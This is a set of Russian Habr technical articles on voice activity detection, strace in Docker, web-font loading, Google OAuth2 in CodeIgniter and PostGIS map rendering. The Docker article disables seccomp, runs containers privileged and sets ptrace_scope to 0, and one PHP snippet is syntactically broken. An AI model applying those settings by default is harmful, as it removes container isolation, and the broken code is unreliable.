_, read_audio,
_, _, _) = utils
files_dir = torch.hub.get_dir() + '/snakers4_silero-vad_master/files'
wav = read_audio(f'{files_dir}/en.wav')
speech_timestamps = get_speech_ts(wav, model,
num_steps=4)
print(speech_timestamps)
```
Как работает VAD
----------------
Тут кратко опишем, как данные кормятся в VAD. Для остальных алгоритмов заинтересовавшиеся просто найдут информацию в коде.
* Аудио разделяется на кусочки длиной например 250 мс. Можно конечно порезать и короче, но по нашему опыту все паузы менее 100 мс являются малозначимыми и получается очень много шума, если пытаться поделить по 30-50мс. По просьбам интересующихся мы также привели график зависимости качества от длины кусочка [тут](https://github.com/snakers4/silero-vad/issues/2#issuecomment-750840434) (мы сравнили 100 мс и 250 мс);
* VAD держит в памяти прошлый кусочек (или нули в начале стрима);
* Эти кусочки по 500 мс (или по 200 мс) делятся на 4 или 8 окон внахлест и модель применяется к каждому такому окну;
* Вероятности выдаваемые моделью усредняются по всем таким окнам;
* Дальше эта вероятность используется, чтобы или "войти" в речь или из нее "выйти". Базовые оптимальные гипер-параметры приведены в коде примеров;
Скорость и задержка
-------------------
Все замеры скорости мы делали на 1 потоке процессора AMD Ryzen Threadripper 3960X. Для этого мы использовали такие настройки:
```
torch.set_num_threads(1) # pytorch
ort_session.intra_op_num_threads = 1 # onnx
ort_session.inter_op_num_threads = 1 # onnx
```
Подробнее вы можете просто посмотреть в коде, но задежка зависит от следующих параметров:
* **num\_steps** — число таких окон "внахлест";
* **number of audio streams** — число одновременно обрабатываемых потоков аудио;
* По сути получается, что модель всегда видит батч длины равной num\_steps \* number of audio streams;
**Получаются такие задержки:**
| Batch size | Pytorch latency, ms | Onnx latency, ms |
| --- | --- | --- |
| **2** | 9 | 2 |
| **4** | 11 | 4 |
| **8** | 14 | 7 |
| **16** | 19 | 12 |
| **40** | 36 | 29 |
| **80** | 64 | 55 |
| **120** | 96 | 85 |
| **200** | 157 | 137 |
Попробуем теперь измерить пропускную способность в секундах аудио, обрабатываемых за одну секунду на 1 потоке процессора:
| Batch size | num\_steps | Pytorch model RTS | Onnx model RTS |
| --- | --- | --- | --- |
| **40** | **4** | 68 | 86 |
| **40** | **8** | 34 | 43 |
| **80** | **4** | 78 | 91 |
| **80** | **8** | 39 | 45 |
| **120** | **4** | 78 | 88 |
| **120** | **8** | 39 | 44 |
| **200** | **4** | 80 | 91 |
| **200** | **8** | 40 | 46 |
### Качество
По логике процесса, описанного выше, мы измеряли качество нашего VAD по сути просто присваивая некую усредненную вероятность каждому кусочку аудио и сравнивая ее с истинными метками. Но как добавить к сравнению WebRTС, он же выдает просто 0 или 1?
[WebRTC](https://github.com/wiseman/py-webrtcvad) принимает на вход фреймы аудио и отдает 0 или 1. По-умолчанию используется длина фрейма в 30 мс, то есть каждый кусочек аудио в 250 мс мы делится примерно на 8 таких фреймов. Это неидеально, но мы просто интерпретируем среднее из таких 0 и 1 как вероятность.
В итоге получается вот такой результат:
Тонкая настройка и остальные алгоритмы
--------------------------------------
Как упоминалось выше, наш VAD также обладает тем преимуществом, что его можно более тонко настраивать используя более очевидные параметры. Инструкцию по такой настройке, примеры и описания работы остальных алгоритмов вы можете найти в [репозитории](https://github.com/snakers4/silero-vad) нашего проекта. Пропускная способность и задержка других алгоритмов примерно сравнима с VAD. | https://habr.com/ru/post/537274/ | null | ru | null |
# Решение проблемы ограничения PTRACE_ATTACH в контейнерах Docker
В последние два года мы широко используем Docker как для разработки, так и для выполнения систем в производственной среде, и все текущие продукты для наших клиентов разрабатываются именно с учетом данной системы контейнеризации. Стоит отметить, что Docker достаточно сильно изменяется от версии к версии, добавляя как дополнительные возможности (Swarm, Compose), так и дополнительные инструменты повышения защищенности и контроля приложений.
Так с большим удивлением мы недавно обнаружили, что контейнер, который был разработан и протестирован некоторое время назад, не работает в текущей версии Docker. Дело в том, что контейнер был не совсем типовым и внутри него использовалась утилита **strace** для анализа поведения процесса. Про данное применение утилиты мы ранее подробно [писали](https://habrahabr.ru/post/332544/) на Habrahabr.
Сегодня у наших разработчиков наконец-то дошли руки до внедрения данного проблемного
[контейнера](https://github.com/bwsw/webshell) в приложение и они обнаружили, что он больше не работает. Начав разбираться в чем причина такого поведения, мы увидели, что strace, а конкретно ptrace, не может присоединяться к процессам и выдает ошибку вида:
```
strace: attach: ptrace(PTRACE_ATTACH, ...): Operation not permitted Could not attach to process. If your uid matches the uid of the target process, check the setting of /proc/sys/kernel/yama/ptrace_scope, or try again as the root user. For more details, see /etc/sysctl.d/10-ptrace.conf
```
Случай довольно редкий, и решение легко не идентифицируется коллективным разумом разработчиков, хотя разных подсказок разбросано достаточно много. Итак, в чем же было дело?
Подсистема Seccomp
------------------
В новых ядрах ОС Linux новый Docker использует функцию ядра seccomp, которая позволяет блокировать системные вызовы внутри контейнера. Документация Docker по поводу данной возможности находится [здесь](https://docs.docker.com/engine/security/seccomp/). Ptrace находится среди заблокированных системных вызовов. Тонкая настройка механизма осуществляется с помощью аргумента Docker run `--security-opt seccomp=/path/to/file.json`, который позволяет указать файл, в котором описывается что разрешено, а что нет. Поскольку наш контейнер работает в защищенной среде, то мы отключаем данную возможность полностью: `--security-opt seccomp=unconfined`.
Поведение Ptrace
----------------
Strace выдала нам подсказку о том, что есть некий псевдофайл `/proc/sys/kernel/yama/ptrace_scope`, в котором тоже описываются ограничения ptrace. Смотрим в [документацию](https://www.kernel.org/doc/Documentation/security/Yama.txt) ядра и узнаем, что не все так просто, как было раньше. Значения 0-3, находящиеся в данном псевдофайле существенно меняют поведение ptrace:
* 0 — UID трассирующего процесса должен совпадать с UID трассируемого или быть 0 (поведение как было раньше);
* 1 — ограниченный ptrace, процессы должны быть родственными, трассируемый процесс должен быть потомком
трассирующего или трассирующий процесс должен иметь UID=0;
* 2 — для трассирующего процесса должен быть установлен флаг CAP\_SYS\_PTRACE или потомок устанавливает себе флаг PTRACE\_TRACEME;
* 3 — трассирование запрещено.
Выполнив
```
docker exec -it cat /proc/sys/kernel/yama/ptrace\_scope
```
мы обнаружили, что в файле установлено значение 1, соответственно, не будучи родственным процессом, strace не мог подключиться к трассируемому процессу. При этом, попытка установить в /proc/sys/kernel/yama/ptrace\_scope значение 0 не увенчалась успехом, было получено сообщение о том, что "/proc is read only".
Привилегированный запуск контейнера
-----------------------------------
Преодолеть данное ограничение нам помог флаг Docker, разрешающий в привилегированное исполнение: `--privileged`, а в инициализацию приложения мы добавили установку значения "0" в псевдофайл /proc/sys/kernel/yama/ptrace\_scope.
```
echo 0 > /proc/sys/kernel/yama/ptrace_scope
```
В итоге проблема была успешно решена. Пример решения и аргументы для запуска контейнера можно найти в нашем GitHub репозитории для web ssh [прокси](https://github.com/bwsw/webshell).
> Было интересно заметить, что ядро Linux получает существенные улучшения безопасности и дополнительные инструменты управления настройками безопасности, о которых достаточно трудно узнать, если не держать постоянно руку "на пульсе" и работать в рамках приложений, которые развиваются в рамках продолжительных жизненных циклов в стабильных средах. В один прекрасный день обнаруживаешь новый удивительный мир улучшений, которые "внезапно" проявили себя благодаря вот такому досадному случаю. | https://habr.com/ru/post/334016/ | null | ru | null |
# Шрифты в вебе, обзор от 2016 года
#### Предисловие
Статья — не про всё возможное, связанное с типографикой и текстами, вроде letter-spacing и max-height. Это скорее некоторый список занятных возможностей, которые могут быть углублённо изучены при наличии достаточного любопытства и времени. Надеюсь, для большей части найдётся то, что они не знали или слышали краем уха.
#### Вступление
В 2016 году нестандартными шрифтами никого не удивишь. [93% браузеров](http://caniuse.com/#feat=fontface) поддерживают их, и около [62%](http://httparchive.org/trends.php) сайтов их используют. Кто-то просто пишет @font-face или вставляет с Google Fonts, кто-то вставляет мегабайт шрифтов в base64 прямо в css. Возможностей много.
#### Загрузка
Статья была бы неполной без таблички разного поведения браузеров во время загрузки шрифтов, но я не могу себе позволить её вставить — она так часто встречается, что уже, вероятно, вызывает нервный тик.
Общие понятия:
*FOIT* — flash of invisible text. Сначала отрисовывается страница без текста, затем — сразу с нужным шрифтом.
*FOUT* — flash of unstyled text. Сначала используется один шрифт, затем — загруженный.
*FOFT* — [некоторые](https://www.zachleat.com/web/foft/) выделяют такой подтип проблем, но встречается реже.
Очень хорошо описаны различные стратегии загрузки шрифтов в [недавней статье от Zach Leatherman](https://www.zachleat.com/web/comprehensive-webfonts/) ([русская версия](http://css-live.ru/articles/ischerpyvayushhee-rukovodstvo-po-strategiyam-zagruzki-veb-shriftov.html)), каждая со своими плюсами и минусами. Я же попробую дать упрощённый обзор различных вариантов: если понадобится изучить, набор ссылок будет под рукой.
##### @font-face без дополнительных ухищрений
Встречается часто, можно оставить всё как есть на откуп браузеру. Также плюс в том, что пользователи, скорее всего, уже привыкли к такому поведению и не замечают проблем. Минусы: разное поведение в разных браузерах, спорное поведение в некоторых случаях. В сафари и некоторых других браузерах в случае проблем загрузки шрифта может [вообще ничего не отображаться](https://www.filamentgroup.com/lab/font-loading.html) длительное время..
Плюсы:
* Не требует дополнительных усилий
* Скорее всего, пользователи привыкли к такому поведению и редко заостряют на этом внимание
Минусы:
* Разное поведение в разных браузерах
* Спорное поведение в некоторых случаях
##### Библиотека для определения загрузки шрифта
Общая идея: используем стандартный шрифт до загрузки, после загрузки переключаем класс на body и на всей странице включаются новые шрифты. Это похоже на стандартное поведение Internet Explorer и Edge.
Плюсы:
* Контроль за использованием шрифтов
* Небольшой размер библиотек
* Просто использовать
Минусы:
* Переключение шрифта заметно пользователю
* Может приводить к перемещению элементов на странице из-за смены размера текста
* Требуются дополнительные ухищрения для отсутствия перерисовки шрифта при перезаходе: флаги в куках, sessionStorage
Ссылки:
* [Web Font Loading Patterns](https://www.bramstein.com/writing/web-font-loading-patterns.html) ([русская версия](http://web-standards.ru/articles/web-font-loading-patterns/))
* [FontFaceObserver](https://github.com/bramstein/fontfaceobserver)
* [FontFaceOnload](https://github.com/zachleat/fontfaceonload)
##### Кодирование шрифта в base64
Самый разнообразный способ. Можно инлайнить шрифт прямо в основной файл стилей, грузить их асинхронно или вовсе складывать в localStorage. Для кого-то окажется неожиданным то, что после gzip размер отличается от бинарного файла совсем немного.
Плюсы:
* В общем случае не нужны дополнительные библиотеки для определения загрузки шрифтов
* При использовании вместе с основной частью css делает ситуации с foit и fout гораздо реже
* При сохранении в localStorage всё кеширование шрифтов в наших руках
Минусы:
* Теряется поддержка нескольких типов шрифтов. Либо нужно их дублировать (и тем самым увеличивать общий размер), либо выбрать наиболее распространённый (например, woff и потерять экономию от woff2)
* Окончание загрузки css — не гарант того, что шрифт может быть сразу отображён! Как и вставка этого css напрямую в страницу. Браузерам требуется время на парсинг шрифтов перед их использованием. Всё это выливается в три стадии отрисовки: дефолтный шрифт, foit, нужный шрифт
* При вставке просто в css будет задерживать первую отрисовку всей страницы
Ссылки:
* [Описание сохранения шрифтов в localStorage](http://bdadam.com/blog/loading-webfonts-with-high-performance.html) ([русская версия](http://css-live.ru/articles-css/bystraya-zagruzka-veb-shriftov-na-adaptivnyx-sajtax.html))
* [Продолжение статьи с добавлением woff2](http://bdadam.com/blog/better-webfont-loading-with-localstorage-and-woff2.html) ([русская версия](https://htmlacademy.ru/blog/61-better-webfont-loading-with-localstorage-and-woff2))
* [Скрипт загрузки шрифтов с сайта smashingmagazine.com](https://gist.github.com/hdragomir/8f00ce2581795fd7b1b7)
* [Web Font anti-pattern: data-uris](https://www.zachleat.com/web/web-font-data-uris/) ([русская версия](http://css-live.ru/articles/antipattern-dlya-veb-shriftov-data-uri.html))
##### font-display
Новое [css-свойство](https://developers.google.com/web/updates/2016/02/font-display), которое позволяет контролировать отображение шрифтов во время загрузки. Плюсы-минусы очевидны: простота в использовании и слабая поддержка (скорее, никакая).
#####
Это не совсем способ загрузки, а некоторая оптимизация. С помощью preload можно сократить время до окончания загрузки веб-шрифтов, попутно уменьшить вероятность foit. Браузеры на основе Blink начинают загружать шрифты только после того, как найдут текст на странице с соответствующим шрифтом, а это сильно откладывает окончательный показ страницы: нужно загрузить css, распарсить её, применить к дом-дереву и найти нужный элемент. preload указывает браузеру, что указанный ресурс стоит грузить прямо сейчас. Требуются атрибуты as, type и crossorigin.
Ссылки:
* [Использование preload для шрифтов](https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/#early-loading-of-fonts) ([русская версия](http://prgssr.ru/development/dlya-chego-stoit-ispolzovat-predzagruzku.html))
##### Всё остальное
Есть ещё несколько вариаций всего перечисленного, а также вариант через JS (об этом ниже). Например, можно загрузить только одно начертание шрифта, а все остальные использовать при повторных заходах. Или сильно урезать набор используемых символов шрифта (до 5-10 кб) и положить всё это в base64. А может, на первом заходе вообще не использовать на первом заходе нестандартные шрифты, а только загружать их? Также можно не использовать шрифты, если текста почти нет: для логотипов вполне подойдёт SVG. Что выбрать? Каждый решает сам для себя, на основе дизайна, шрифта(-ов) и аудитории.
#### FontFace
Новое [js-api](https://developer.mozilla.org/en/docs/Web/API/FontFace) позволяет загружать и использовать шрифты, не используя объявление @font-face вообще. Несколько примеров, чтобы было понятно, о чём речь:
```
var f = new FontFace("newfont", "url(newfont.woff)", {});
f.load().then(function (loadedFace) {
document.fonts.add(loadedFace);
document.body.style.fontFamily = "newfont, serif";
});
```
```
fetch('newfont.woff2').then(
res => res.arrayBuffer()
).then(
buf => new FontFace("newfont", buf)
).then(ff => {
document.fonts.add(ff)
});
```
Троеточие — не часть кода.
```
new FontFace('t', 'url( "data:application/font-woff2;base64, <...>")').load();
```
Проблема в том, что понять, какой формат поддерживается, напрямую нельзя. Поддержка браузерами тоже [не полная](http://caniuse.com/#feat=font-loading), но к ней добавится Safari 10. FontFace может быть полезен при отрисовке текста через canvas, так как не придётся создавать невидимые элементы с текстом.
Ссылки:
* [CSS Font Loading Module Level 3](https://drafts.csswg.org/css-font-loading/)
* [Woff2 feature test](https://github.com/filamentgroup/woff2-feature-test/)
* [Пример использования](https://googlechrome.github.io/samples/font-face-set/)
#### CSS-свойства
##### font-weight и font-style
font-weight — достаточно известное свойство. Часто можно увидеть bold, реже — что-то со значением в числах. Стоит отметить то, что веб всё чаще выбирается из bold/italic/bold-italic, сейчас можно увидеть всевозможные thin, light, medium (таких ключевых слов нет, но для них как раз используются числовые значения). Другой интересный вопрос — что делают браузеры, если нужного начертания нет в наличии? В случае жирного/курсивного начертания они пытаются сгенерировать глифы на основе обычной вариации шрифта.
Ссылки:
* [Три способа использования разных начертаний](https://www.smashingmagazine.com/2013/02/setting-weights-and-styles-at-font-face-declaration/)
* [Статья на MDN с примерным описанием алгоритма фолбека](https://developer.mozilla.org/en/docs/Web/CSS/font-weight)
* [Правильное подключение нескольких начертаний одного шрифта](http://www.metaltoad.com/blog/how-use-font-face-avoid-faux-italic-and-bold-browser-styles)
* [Табличка с использованием bolder и lighter](http://www.quirksmode.org/css/text/fontweight.html)
* [Статья на MDN с описанием CSS-свойства font-synthesis](https://developer.mozilla.org/ru/docs/Web/CSS/font-synthesis)
##### unicode-range
Данное свойство позволяет указать список символов, которые должны быть отображены шрифтом. Это может быть полезно в качестве оптимизации — если на странице не будет символов из этого списка, шрифт не будет загружен вовсе. Также unicode-range можно использовать для стилизации отдельных символов, например, кавычек или для отображения символа рубля. Проблема может быть в поддержке этого свойства браузерами, и хотя она постепенно уходит, всё равно нужно думать: «а что, если бы unicode-range не было».
Ссылки:
* [Статья на MDN с описанием unicode-range](https://developer.mozilla.org/en/docs/Web/CSS/@font-face/unicode-range)
* [Старая статья про стилизацию амперсандов](https://24ways.org/2011/creating-custom-font-stacks-with-unicode-range)
* [Атака на сайт с помощью инъекции css с unicode-range](http://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html)
##### font-variant и font-feature-settings
font-variant — несколько обновлённый вариант font-feature-settings. Эти свойства позволяют задействиовать дополнительные возможности, включённые в шрифт. Например, кернинг, диагональные дроби, лигатуры и различные варианты иероглифов.
Ссылки:
* [Описание различных значений font-feature-settings](https://helpx.adobe.com/typekit/using/open-type-syntax.html)
##### text-rendering
Свойство задумывалось как обобщённый регулятор скорости отрисовки шрифта, влияя одновременно на кернинг и лигатуры. Несмотря на свою мощность, свойство не получило значительного распространения и заслужило славу бажного и тормозного. В настоящее время имеет смысл воспользоваться font-variant и font-kerning, они дают больше контроля (если не так важна поддержка браузерами, а иначе — font-feature-settings). На самом деле, text-rendering является свойством SVG и не описано ни в одной спецификации CSS.
Ссылки:
* [Описание text-rendering с примерами](http://tympanus.net/codrops/css_reference/text-rendering/)
* [Описание использования и проблем с text-rendering](https://bocoup.com/weblog/text-rendering) ([русская версия](http://frontender.info/text-rendering/))
##### font-kerning
font-kerning контролирует работу кернинга (отступы между отдельными сочетаниями букв). Для включения требуется информация о кернинге внутри самого шрифта. Является более современной заменой части функционала font-feature-settings.
Ссылки:
* [Работа с кернингом в браузере, включая таблицы поддержки text-rendering и font-feature-settings (правда. несколько устаревшие)](http://blog.typekit.com/2014/02/05/kerning-on-the-web/)
* [Статья на MDN вместе с интерактивной демкой свойства](https://developer.mozilla.org/ru/docs/Web/CSS/font-kerning)
##### font-stretch
Редкоиспользуемое [свойство](https://developer.mozilla.org/ru/docs/Web/CSS/font-stretch) с тяжёлой судьбой. Введённое в CSS 2 и поддержанное в Firefox 9 с Internet Explorer 9, оно было удално из CSS 2.1 и забыто до CSS 3, а не так давно было добавлено в Chrome 48. Оно позволяет использовать альтренативные начертания шрифта, более узкие или широкие.
#### Использование встроенных шрифтов
В OS X и iOS очень интересная ситуация с системными шрифтами. Недавно там были представлен San Francisco в качестве основного шрифта интерфейса системы. И если Helvitica Neue можно было указать прямо в font-family (хоть порой в сложном варианте), то с San Francisco такой способ был намеренно затруднён. По новой логике, чтобы разработчики не затачивались на какой-то конкретный шрифт, в таких случаях нужно использовать ключевые слова "-apple-system-\*", которые поддерживаются с iOS 7. Как аналог, в десктопном хроме недавно добавили значение BlinkMacSystemFont.
В Android есть шрифт Roboto, который недоступен по своему имени. Однако можно использовать простые sans-serif, sans-serif-light, sans-serif-medium и другие.
Из-за лицензии, в общем случае нельзя просто взять и положить на свой сервер чьи-то системные шрифты. Допускается только указание их в css, так как тогда заботы о лицензии установленных в систему шрифтов ложатся на плечи пользователя.
Ссылки:
* [Описание шрифтов -apple-system](https://webkit.org/blog/3709/using-the-system-font-in-web-content/)
* [Использование системных шрифтов в вебе](https://www.smashingmagazine.com/2015/11/using-system-ui-fonts-practical-guide/) ([русская версия](http://prgssr.ru/development/ispolzovanie-shriftov-sistemnogo-interfejsa-v-veb-dizajne.html))
* [Список названий начертаний Roboto в андроиде, вместе с минимальной версией (ответ про приложения, но в вебе тоже работает)](http://stackoverflow.com/a/19692168)
* [Список названий начертаний Helvetica Neue](https://gist.github.com/gpessia/8595729)
* [Список предустановленных шрифтов в Windows](https://en.wikipedia.org/wiki/List_of_typefaces_included_with_Microsoft_Windows)
* [Список предустановленных шрифтов в OS X](https://en.wikipedia.org/wiki/List_of_typefaces_included_with_OS_X)
* [Список предустановленных шрифтов в iOS, watchOS, tvOS](http://iosfonts.com/)
#### Оптимизация
Самое простое — использовать оптимальный формат. Появившийся не так давно woff2 некоторые оценивают как лучший вариант для шрифтов, из-за примерно 30% уменьшения размера файла по сравнению с woff. [Судя по caniuse](http://caniuse.com/#feat=woff2) — woff2 скоро будет поддерживаться в Edge и должен быть в новом Safari 10.
Другой способ — убрать неиспользуемую информацию из самого шрифта, например, лигатуры или наборы символов из неиспользуемых языков. Также есть возможность упростить сами векторные кривые символов — иногда в них слишком много точек и их можно задать проще.
Ссылки:
* [FontSquirrel. Сайт, позволяющий конвертировать шрифты, удалять неиспользуемые начертания символов, кодировать в base64 и многое другое](https://www.fontsquirrel.com/)
* [FontForge, приложение-редактор шрифтов. Низкоуровневый инструмент — можно удалять отдельные глифы, упрощать кривые, удалять кернинг, вплоть до сдвига отдельных точек](https://fontforge.github.io/en-US/)
* [Советы по оптимизации от Google](https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/webfont-optimization)
* [fontTools. Библиотека на питоне для манипуляции шрифтами](https://github.com/behdad/fonttools/)
* [Консольная утилита для конвертации ttf > woff2](https://www.npmjs.com/package/ttf2woff2)
#### Определение текущего шрифта элемента
Иногда стоит задача определения текущего шрифта элемента. В случае разработки могут помочь Chromium Developer Tools и недавно вернувшаяся панелька Fonts из Firefox. В ином случае остаётся только считать размер элемента и сравнивать его после смены значения font-family. Примерно этим занимаются FontFaceOnload и FontFaceObserver, если в браузере недоступен js-интерфейс FontFace. Почему браузеры не предоставляют для этого внятного апи? Дело в том, что отдельные символы внутри одного элемента могут быть отрисованы разными шрифтами, которые перечислен в font-family. На это может влиять упомянутый выше unicode-range и сам набор глифов шрифта.
#### Где взять нестандартные шрифты?
* <https://fonts.google.com/>
* <https://www.fontshop.com/>
* <https://www.fontsquirrel.com/>
* <https://webfont.ru/>
* <http://www.myfonts.com/>
* <http://infogra.ru/typography>
* Напишите в комментариях свой вариант
#### Прочее
* [Как растровый шрифт медиум сломал](https://medium.com/design/system-shock-6b1dc6d6596f#.x78lzspx2)
* [Стоит ли вообще использовать нестандартные шрифты?](https://martinwolf.org/blog/2016/03/webfont-drama-march-2016-edition) | https://habr.com/ru/post/310044/ | null | ru | null |
# Как я Google API с CodeIgniter A3M подружить пытался и что из этого вышло
Недавно возникла задача прикрутить к библиотеке [A3M](https://github.com/donjakobo/A3M) (это довольно популярная библиотека аутентификации для CodeIgniter) поддержку аутентификации OAuth2 через Google. Все началось с того, что пару месяцев назад ко мне обратился товарищ. У него есть сайт, написанный кем-то в незапамятные времена на CodeIgniter. Естественно, этот кто-то уже исчез в неизвестном направлении.
Сайт вполне рабочий и проблем особо не делает, поэтому товарищ особо не парился и даже не думал про апдейты или (упаси боже) миграцию куда либо.
В один прекрасный день он обнаружил что при логине через Google прилетает такое вот сообщение:
*OpenID 2.0 for Google Accounts is Going Away. OpenID 2.0 is no longer supported. If your app uses OpenID 2.0, you must migrate your app by the shutdown date April 20, 2015, as shown in the migration timetable.*
Хотя мой товарищ ни разу не программист, почуял неладное и обратился ко мне в надежде, что я смогу это дело поправить.
У него довольно большая база юзеров на сайте, которые логинились через Google, и если до 20-го апреля это дело не пофиксить, многие юзеры внезапно не смогут попасть на сайт.
«Не проблема, пофиксим», — сказал я и полез в гугловский [мануал по миграции](https://developers.google.com/identity/protocols/OpenID2Migration). Прочитав первый раз, я понял, что все сложно и решил поискать более простых путей. «Логично же, — думал я, — что авторы A3M-таки тоже в курсе, что Google прекращает поддержку OpenID 2.0 и уже выкатил патч на GitHub». И хотя авторы в общем-то в курсе, особо парится по этому поводу у них нет времени/желание/чего-то там еще.
Меня послали в beta-branch, где они допиливают интеграцию [A3M с HybridAuth](https://github.com/donjakobo/A3M/tree/ci3-beta), которая должна ~~решить все проблемы человечества~~ логинится через OAuth2. У меня, естественно, этот самый бранч логинится через Google наотрез отказался по всяким разным причинам. Я, в принципе, мог бы и дальше сидеть по ночам с дебаггером и заставил бы это работать, но время шло, 20 апреля неумолимо приближалось, и я решил поискать другой, более эффективный метод.
Как оказалось, ребята из Google время не теряют и у них уже есть [готовый Client API](https://github.com/google/google-api-php-client) на всех более менее известных языках. Теперь осталось только «познакомить» A3M с google-api-php-client.
Ну что ж, за работу.
Итак, сначала скачиваем Google API PHP Client:
```
git clone https://github.com/google/google-api-php-client
```
Копируем всю папку в application/libraries. Осталось только все красиво подключить.
Теперь идем сюда: [console.developers.google.com](https://console.developers.google.com). Здесь надо создать новый проект. После этого идем в API’s, находим Google+ API и включаем. Затем идем в «Credentials» и создаем «New Client ID». Необходимо указать правильные Redirect URIs и JavaScript origins. После создания мы получим наш client id и client secret.
Собственно код:
Идем в application/controllers/account/connect\_google.php. Первым делом подключаем google API. Тут важно указать абсолютный путь до библиотеки, иначе composer не сможет загрузить все нужные компоненты:
```
set_include_path ( get_include_path () . PATH_SEPARATOR . APPPATH .'application/libraries/google-api-php-client/src/Google' );
require_once APPPATH . "libraries/google-api-php-client/src/Google/autoload.php";
require APPPATH . "libraries/google-api-php-client/src/Google/Client.php";
require APPPATH . "libraries/google-api-php-client/src/Google/Service/Oauth2.php";
// Посылаем запрос от клиента, получть доступ к Google API.
$client = new Google_Client ();
$client->setApplicationName ( "A3M with OAuth2 support" );
$client->setClientId ( $client_id );
$client->setClientSecret ( $client_secret );
$client->setRedirectUri ( $redirect_uri );
$client->addScope ( "email" );
$client->setOpenidRealm ( $redirect_uri ); // Нужно для обратной совместимости с OpenID 2.0
```
То есть если запросить **openid\_realm**, получим обратно **openid\_id**, которое CodeIgniter использует в качестве уникального ID пользователя в БД.
Кстати, тут есть один интересный момент. Если у нас (на CodeIgniter сайте) уже существует старя база юзеров, которые логинились через Google, когда он еще поддерживал OpenID 2.0, то скорее всего при попытке аутентификации через OAuth2 мы получим совершенно другой **openid\_id** и, соответсвенно, не сможем идентифицировать юзера из БД.
Для того, чтобы open\_id был всегда одинаковым, надо чтобы Redirect URI в обоих случаях был идентичным.
Подробнее можно почитать здесь:
[stackoverflow.com/a/23051643/524743](http://stackoverflow.com/a/23051643/524743)
[stackoverflow.com/q/29229204/524743](http://stackoverflow.com/q/29229204/524743)
Вот метод для получения **openid\_id** клиента:
```
// This method extracts openID2 ID form id token for backward compatibility
private function getOpenIDFromToken($client, $token) {
$id_token = json_decode ( $token );
$ticket = $client->verifyIdToken ( $id_token->{'id_token'} );
if ($ticket) {
$data = $ticket->getAttributes ();
return $data ['payload'] ['openid_id']; // user ID
}
return false;
}
```
Начинаем процесс аутентификации:
```
$objOAuthService = new Google_Service_Oauth2 ( $client );
if (! isset ( $authURL )) // На всякий случай обнуляем сессию чтобы избежать ошибки “Expired Token”
unset ( $_SESSION ['access_token'] );
// Порверяем если есть разрешение на аутентификацию
// Получаем токен и делаем редирект на endpoint
if (isset ( $_GET ['code'] )) {
$client->authenticate ( $_GET ['code'] );
$_SESSION ['access_token'] = $client->getAccessToken ();
header ( 'Location: ' . filter_var ( $redirect_uri, FILTER_SANITIZE_URL ) );
}
// Если токен уже получен, достаем openid_id
if (isset ( $_SESSION ['access_token'] ) && $_SESSION ['access_token']) {
$client->setAccessToken ( $_SESSION ['access_token'] );
$openid_id = $this->getOpenIDFromToken ( $client, $client->getAccessToken () );
}
// Плучив токен запрашивает данные пользователя и сохраняем их для дальнейшей
if ($client->getAccessToken ()) {
$userData = $objOAuthService->userinfo->get ();
$data ['userData'] = $userData;
$_SESSION ['access_token'] = $client->getAccessToken ();
$openid_id = $this->getOpenIDFromToken ( $client, $client->getAccessToken () );
}
// Если мы еще не проходили процесс аутентификации, редиректимся на нужный URI, для получения подтверждения от гугла.
else {
$authUrl = $client->createAuthUrl ();
$data ['authUrl'] = $authUrl;
header ( 'Location:' . $authUrl );
die (); // без этого редирект не сработает :)
}
```
….
Получив данные юзера, проверяем, нет ли его в БД, и если нет, создаем новую запись:
```
if (! $this->authentication->is_signed_in ()) {
if ($userData) {
$email = $userData->getEmail ();
$openid_google = array('fullname' => $userData->getName (),
$openid_google 'gender' => $userData->getGender (),
$openid_google 'language' => $userData->getLocale (),
$openid_google 'firstname' => $userData->getGivenName (), // google only
$openid_google 'lastname' => $userData->getFamilyName (), // google only
); }
// Store user's google data in session
$this->session->set_userdata ( 'connect_create', array (
array (
'provider' => 'openid',
'provider_id' => isset ( $openid_id ) ? $openid_id : NULL,
'email' => isset ( $email ) ? $email : NULL ),
$openid_google
) );
// Create a3m account
redirect ( 'account/connect_create' );
```
Готово! Юзер в БД, аутентификация удалась и все счастливы.
Все исходники лежат [здесь](https://github.com/samuelsh/A3M). Если возникнут вопросы — буду рад помочь. | https://habr.com/ru/post/266339/ | null | ru | null |
# PostGIS + Mapnik + TileCache во FreeBSD
Привет! Появилась необходимость на одном из серверов в нашей сети сделать «что-то вроде openstreetmap.org», но так, чтобы все это продолжало работать и без подключения к Интернету.
К сожалению я не нашел хорошего мануала на «Великом и Могучем» о том, как это реализовать, потому, потратив на это два дня, решил рассказать о том как мне это удалось.
##### Что было дано:
* FreeBSD 8.2
* PostgreSQL 8.4.9
* Apache 2.2
* Python 2.7.2
Вообще существует достаточно много вариантов как реализовать требуемое, но я решил остановиться на таком наборе инструментов:
* [PostGIS](http://postgis.refractions.net/)
* [Mapnik](http://mapnik.org/)
* [TileCache](http://tilecache.org/)
##### Установка
**1. Ставим PostGIS**
С этим никаких проблем не возникло, он есть в портах, а именно `/usr/ports/databases/postgis`
После установки нужно перейти в папку `/usr/local/share/postgis/contrib/postgis-1.5` и выполнить там postgis.sql и spatial\_ref\_sys.sql при помощи утилиты psql
**2. Ставим Mapnik**
Сам он также есть в портах:`/usr/ports/graphics/mapnik`
После установки нужно скачать необходимые утилиты, вот тут:
[svn.openstreetmap.org/applications/rendering/mapnik](http://svn.openstreetmap.org/applications/rendering/mapnik/) (какие именно нам будут необходимы расскажу ниже).
**3. Ставим TileCache**
С TileCache все еще проще — качаем архив отсюда [tilecache.org/tilecache-2.11.tar.gz](http://tilecache.org/tilecache-2.11.tar.gz).
##### Настройка
Естественно настройка куда как увлекательнее установки!
Для начала на картинке поясню как оно все должно работать:
Итак. Сначала нужно получить osm файл. Для этого есть много вариантов, например экспортировать прямо из [openstreetmap.org](http://openstreetmap.org) (однако, там есть ограничения на размер области) или
скачать уже готовый экспорт, например отсюда: [gis-lab.info/projects/osm\_dump](http://gis-lab.info/projects/osm_dump/)
Этот файл нужно теперь загрузить в базу PostGIS, командой вроде
`osm2pgsql -U user RU-SPE.osm`
где user это логин к БД, а RU-SPE.osm это карта для загрузки. В моем случае это карта Санкт-Петербурга.
Вывод консоли должен быть примерно таким:
`osm2pgsql SVN version 0.80.0 (32bit id space)
Using projection SRS 900913 (Spherical Mercator)
Setting up table: planet_osm_point
Setting up table: planet_osm_line
Setting up table: planet_osm_polygon
Setting up table: planet_osm_roads
